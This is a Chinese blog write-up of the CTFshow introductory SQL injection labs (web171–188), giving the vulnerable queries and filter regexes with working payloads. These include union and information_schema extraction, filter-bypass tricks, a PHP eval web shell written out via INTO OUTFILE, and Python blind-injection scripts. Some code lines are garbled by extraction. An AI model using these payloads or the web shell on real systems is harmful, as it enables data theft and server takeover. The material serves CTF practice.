CTFSHOW WEB入门——sql注入

web171

//拼接sql语句查找指定ID用户
$ sql = “select username,password from user where username !=‘flag’ and id = '”.$_GET[‘id’].“’ limit 1;”;

1 order by 9999 --+  #判断为字符型
1'or'1'='1 # 得到flag

# 官方视频flag
999' or id='26

在这里插入图片描述

web172

//拼接sql语句查找指定ID用户
s q l = " s e l e c t u s e r n a m e , p a s s w o r d f r o m c t f s h o w u s e r 2 w h e r e u s e r n a m e ! = ′ f l a g ′ a n d i d = ′ " . sql = "select username,password from ctfshow_user2 where username !='flag' and id = '". sql="selectusername,passwordfromctfshowuser2whereusername!=flagandid="._GET[‘id’].“’ limit 1;”;

返回逻辑

//检查结果是否有flag
if($row->username!==‘flag’){
$ret[‘msg’]=‘查询成功’;
}

添加限制条件 name!=‘flag’ 输出的username中不能有flag
法一
联合查询注入 只返回password
-1' union select 1,(select password from ctfshow_user2 where username = 'flag') --+

法二
利用编码解决:base64 to_base64()、hex hex()
这里针对的是id = ‘“.$_GET[‘id’].”’,双引号是包括在内的,可能只是起解析作用
-1' union select to_base64(username),to_base64(password) from ctfshow_user2 --+

官方视频
999' union select id, password from ctfshow_user2 where username = 'flag
999' union select b.id,b.password from ctfshow_user2 as b where b.username='flag

web173

返回逻辑

//检查结果是否有flag
if(!preg_match(‘/flag/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}

法一

#查看当前数据库
id=-1' union select 1,2,(select database()) --+ 
#查看所有数据库
id=-1' union select 1,2,group_concat(schema_name)from information_schema.schemata --+ 
#查看 ctfshow_web数据库下的所有表名字
id =-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+ 
id =-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23 
#查看 ctfshow_user3 表下字段
id =-1'union select 1,2,group_concat(column_name) from  information_schema.columns where table_name='ctfshow_user3'--+ 
#获取 ctfshow_web库ctfshow_user3表下所有字段
id =-1'union select 1,2,group_concat(column_name) from  information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'--+ 
# cat flag
id = -1' union select 1,2,(select password from ctfshow_user3 where username='flag') %23

法二
-1' union select 1,to_base64(username),hex(password) from ctfshow_user3--+

官方视频
999' union select id,hex(b.username),b.password from ctfshow_user3 as b where b.username = 'flag

web174

返回逻辑

//检查结果是否有flag
if(!preg_match(‘/flag|[0-9]/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}

过滤flag与数字
使用replace("","","") 函数
在这里插入图片描述
-1' union select 'a', replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(b.password,"0",")"),"9","("),"8","*"),"7","&"),"6","^"),"5","%"),"4","$"),"3","#"),"2","@"),"1","!")from ctfshow_user4 as b where b.username = 'flag

在这里插入图片描述

web175

返回逻辑

//检查结果是否有flag
if(!preg_match(‘/[\x00-\x7f]/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}

过滤了 ascii 0-127
尝试从其他信道将数据带出
利用into outfile来实现文件的输出
?id=1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'+--+
在这里插入图片描述在这里插入图片描述写shell
?id=1' union select 1,'<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'+--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
获得数据库密码
在这里插入图片描述连接数据库
在这里插入图片描述
在这里插入图片描述

web176

开启过滤

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

-1' or username='flag'--+
-1' or '1'='1'--+
-1' or id='26
-1' or id='26' %23

对 select 进行了过滤,大小写就能绕过
在这里插入图片描述在这里插入图片描述

web177

试了一下,对空格和--+有过滤
id=-1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag';%23

# ()中的空格也可用 ` 替代  某些情况下
-1'union/**/select/**/1,2,(select`password`from`ctfshow_user`where`username`='flag')%23

可替代空格

%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码

/**/组合
括号
%23代替注释符 -- 

web178

应该是过滤了 /**/

-1'union%0aselect%0a1,2,(select`password`from`ctfshow_user`where`username`='flag')%23

web179

也是空格类型被替代

# 只有一处空格替换,更加方便
-1'union%0cselect'1',2,(select`password`from`ctfshow_user`where`username`='flag');%23

web180

增加了对 #(%23) 的过滤

# 避开结尾注释
-1'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'2
#有结尾注释   **%0c--%0c**
-1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c

web181

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0\x23|#|file|into|select/i’, $str);
}

没有空格和 select 可以用,这里利用逻辑运算的优先级构造 and 语句,绕过查询语句前面的 username != flag,且不能含有空格
and>or
关于优先级问题就跟加减号与乘除号一样,and先运算,那么and的运算结果过程如何解释:需要同时满足两边的条件才会返回true那么这里就是让第一个and语句返回false让后面的and语句来做到知行的效果
思路

where username !='flag' and id = ''or(id=26)and'1'='1' limit 1
where (username !='flag' and id = '')or(id=26 and'1'='1') limit 1
因为or的存在,相当于要select两次,但又因为or左边是为0的,右边为id=26,所以只select右边
完整的sql语句变为:select id,username,password from ctfshow_user where id=26 limit 1
'or(id=26)and'1'='1
 # 官方视频 已经过滤了 %0c 居然还可以
-1’%0cor%0cusername='flag

web182

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|#|file|into|select|flag/i’, $str);
}

'or(id=26)and'1'='1
-1'%0cor%0cusername%0clike'%fla%

web183

查询语句

//拼接sql语句查找指定ID用户
$sql = “select count(pass) from “.$_POST[‘tableName’].”;”;

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into/i’, $str);
}

likeregexp 构造 payload 进行布尔盲注
在这里插入图片描述
使用 () 或 ` 代替 空格

tableName=`ctfshow_user`where`pass`like'%ctfshow%'
tableName=(ctfshow_user)where(pass)like'ctfshow{%'
% :在sql中通配 N 个字符
_ :通配任意一个字符
import requests
import sys

url = 'http://51880bae-1a81-4165-a92c-231924e3182a.challenge.ctf.show/select-waf.php'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
flag = 'ctfshow{'

for i in range(0,150):
    for j in letter:
        payload = {"tableName":"(ctfshow_user)where(pass)like'{}%'".format(flag+j)}
        r = requests.post(url=url,data=payload).text
        if "$user_count = 1;" in r:
            flag+=j
            print(flag)
            break
        if j=="}":
            sys.exit()

官方脚本

import requests
import time
url="http://51880bae-1a81-4165-a92c-231924e3182a.challenge.ctf.show/select-waf.php"
flagstr ="}abcdefghijklmnopqr-stuvwxyz0123456789{"
flag =""
for i in range(0,40):
    for x in flagstr:
        data={
            "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
        }
        print(data)
        response = requests.post(url,data=data)
        # time.sleep(0.3)
        if response.text.find("$user_count = 1;")>0:
            print("++++++++++++++++++++={}is right".format(x))
            flag+=x
            print(flag)
            break
        else:
            print("++++++++++++++++++++++++++={}is wrong".format(x))
            continue
    print(flag)

web184

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into|where|\x26|’|"|union|`|sleep|benchmark/i’, $str);
}

过滤了where 和 ’

法一
利用having代替where进行like盲注
利用16进制代替引号

在这里插入图片描述

import requests
import sys

url="http://df4ca16a-5f68-422f-acb8-5ffe4630e221.challenge.ctf.show/select-waf.php"
flagstr ="{}abcdefghijklmnopqr-stuvwxyz0123456789"
flag = 'ctfshow{'
def asc2hex(s):
    a1 = ''
    a2 = ''
    for i in s:
        a1+=hex(ord(i))
    a2 = a1.replace("0x","")
    return a2
for i in range(100):
    for j in flagstr:
        payload = {
            "tableName":"ctfshow_user group by pass having pass like {}".format("0x"+asc2hex(flag+j+"%"))
        }
        r = requests.post(url=url,data=payload).text
        if "$user_count = 1;" in r:
            flag+=j
            print(flag)
            break
            if j == "}":
                sys.exit()

ctfshow_user group by pass having like 0x63746625
ctfshow_user group by pass having pass like 0x63746673686f777b3025

法二
通过 SQL join 规避 where
SQL 连接(JOIN)
SQL JOIN 中 on 与 where 的区别
在这里插入图片描述在这里插入图片描述

import requests

url = "http://df4ca16a-5f68-422f-acb8-5ffe4630e221.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"
true_flag = "$user_count = 43;"
flagstr ="{abcdefghijklmnopqr-stuvwxyz0123456789}"

def make_payload(has: str) -> str:
    return payload.format((has).encode().hex())


def valid_payload(p: str) -> bool:
    data = {
        "tableName": p
    }
    response = requests.post(url, data=data)
    return true_flag in response.text


flag = "ctfshow" # 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配
while True:
    for c in flagstr:
        pd = flag+c
        print(f"\r[*] trying {pd}", end="")
        if valid_payload(make_payload(pd)):
            flag += c
            print(f"\r[*] flag: {flag}")
            break
    if flag[-1] == "}":
        break

特别要注意的是
flagstr ="{abcdefghijklmnopqr-stuvwxyz0123456789}"} 要后置 不然容易与 { 进行 SQL正则表达式 影响输结果
在这里插入图片描述

MySQL 正则表达式

web185

查询语句

//拼接sql语句查找指定ID用户
$sql = “select count(*) from “.$_POST[‘tableName’].”;”;

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|’|"|union|`|sleep|benchmark/i’, $str);
}

过滤了数字,自己构造

expressionnumber
false0
true1
true+true2
floor(pi())3
ceil(pi())4
floor(pi())+true5
floor(pi())+floor(pi())6
floor(pi())+ceil(pi())7
ceil(pi())+ceil(pi())8
floor(pi())*floor(pi())9
floor(pi())*floor(pi())+true10

使用concat进行连接 。
在这里插入图片描述
并且过滤了 " ' 不能使用 concat(‘str’,‘str’) 进行拼接,字符与数字都需要自己构造 通过chr() 函数将数字转义为字符

import requests

def reNum(n):
    a = "true"
    for i in range(n-1):
        a += "+true"
    return a[0:]

def reNum_to_Str(m):
    str = ""
    for i in m:
        str += ",chr("+reNum(ord(i))+")"
    return str[1:]                       # 去掉开头的 ,

url = "http://0690b5d3-e8cf-49c3-b254-288cac328bf2.challenge.ctf.show/select-waf.php"

flagstr = "{abcdefghijklmnopqrstuvwxyz-0123456789}"
flag = "ctfshow{"
for i in range(0, 50):
    for x in flagstr:
        data = {
            "tableName":"ctfshow_user group by pass having pass like(concat({}))".format(reNum_to_Str(flag + x + "%"))
        }
        response = requests.post(url,data).text
        if "$user_count = 0;" not in response:
            flag += x
            print(flag)
            break
    if x == "}":
        break;

print("finish")

部分输出影像

flag + x + "%" :===> ctfshow{d%
reNum_to_Str(flag + x + "%"):===>
chr(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),chr(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),chr(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),chr(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),chr(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),chr(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),chr(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),chr(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),chr(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),chr(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)
flag:=====> ctfshow{d

web186

查询语句

//拼接sql语句查找指定ID用户
$sql = “select count(*) from “.$_POST[‘tableName’].”;”;

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|%|<|>|^|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|’|"|union|`|sleep|benchmark/i’, $str);
}

过滤了更多,但是用上一关的方法也可以打穿

import requests

def reNum(n):
    a = "true"
    for i in range(n-1):
        a += "+true"
    return a[0:]

def reNum_to_Str(m):
    str = ""
    for i in m:
        str += ",chr("+reNum(ord(i))+")"
    return str[1:]                       # 去掉开头的 ,

url = "http://0690b5d3-e8cf-49c3-b254-288cac328bf2.challenge.ctf.show/select-waf.php"

flagstr = "{abcdefghijklmnopqrstuvwxyz-0123456789}"
flag = "ctfshow{"
for i in range(0, 50):
    for x in flagstr:
        data = {
            "tableName":"ctfshow_user group by pass having pass like(concat({}))".format(reNum_to_Str(flag + x + "%"))
        }
        response = requests.post(url,data).text
        if "$user_count = 0;" not in response:
            flag += x
            print(flag)
            break
    if x == "}":
        break;

print("finish")

web187

查询语句
//拼接sql语句查找指定ID用户
$sql = “select count(*) from ctfshow_user where username = ‘ u s e r n a m e ′ a n d p a s s w o r d = ′ username' and password= ' usernameandpassword=password’”;

返回逻辑
$username = $_POST[‘username’];
p a s s w o r d = m d 5 ( password = md5( password=md5(_POST[‘password’],true);
//只有admin可以获得flag
if($username!=‘admin’){
r e t [ ′ m s g ′ ] = ′ 用户名不存 在 ′ ; d i e ( j s o n e n c o d e ( ret['msg']='用户名不存在'; die(json_encode( ret[msg]=用户名不存;die(jsonencode(ret));
}

由题的 在username 为 admin 时才会进行下一步sql查询,故在password处下文章

MySQL的一个特性: 只要'or'后面的字符串为一个非零的数字开头都会返回True
ffifdyop
在这里插入图片描述
构成查询语句
select count(*) from ctfshow_user where username = 'admin' and password= ''or'6ɝ驡r,魢'
在这里插入图片描述
在这里插入图片描述

web188

利用mysql弱类型比较
当一个字符串与数字比较时会把字符串转化为数字
如 ‘4ad’=4
在这里插入图片描述
而当数字为0,且字符串开头不为其他数字时,弱类型恒成立
在这里插入图片描述

判断SQL注入是字符型还是数字型

方法一:order by法

构造payload为:id=1 order by 9999 --+

  • 如果正确返回页面,则为字符型
  • 否则,为数字型

分析:
字符型执行的sql语句为select * from user where id='1 order by 9999 --+',注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。

方法二:逻辑判断法

这就很简单了,就是猜,但是也得知道一点技巧。
比如说,id这种,一般在数据库存储为int类型的,在查询时,可能是数字型,也可能是字符型。
但是,如果是name或者username之类的,按正常逻辑,一看就知道是以varchar或者char存储的,那指定就是字符型了,因为不加引号,sql语句绝对报错。

注释后面语句

;--A

参考文章/视频

MySQL官方文档-字符串方法与操作
MySQL常用字符串函数
MySQL 正则表达式
ctfshow-web入门-sql注入BiliBili
MySQL 正则表达式
CTFSHOW WEB入门 SQL注入篇
https://blog.51cto.com/u_15072927/3946335
https://blog.csdn.net/qq_50589021/article/details/119426002?spm=1001.2014.3001.5502
https://blog.csdn.net/h_adam/article/details/122991848
https://blog.csdn.net/jenchoi413/article/details/125431401

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值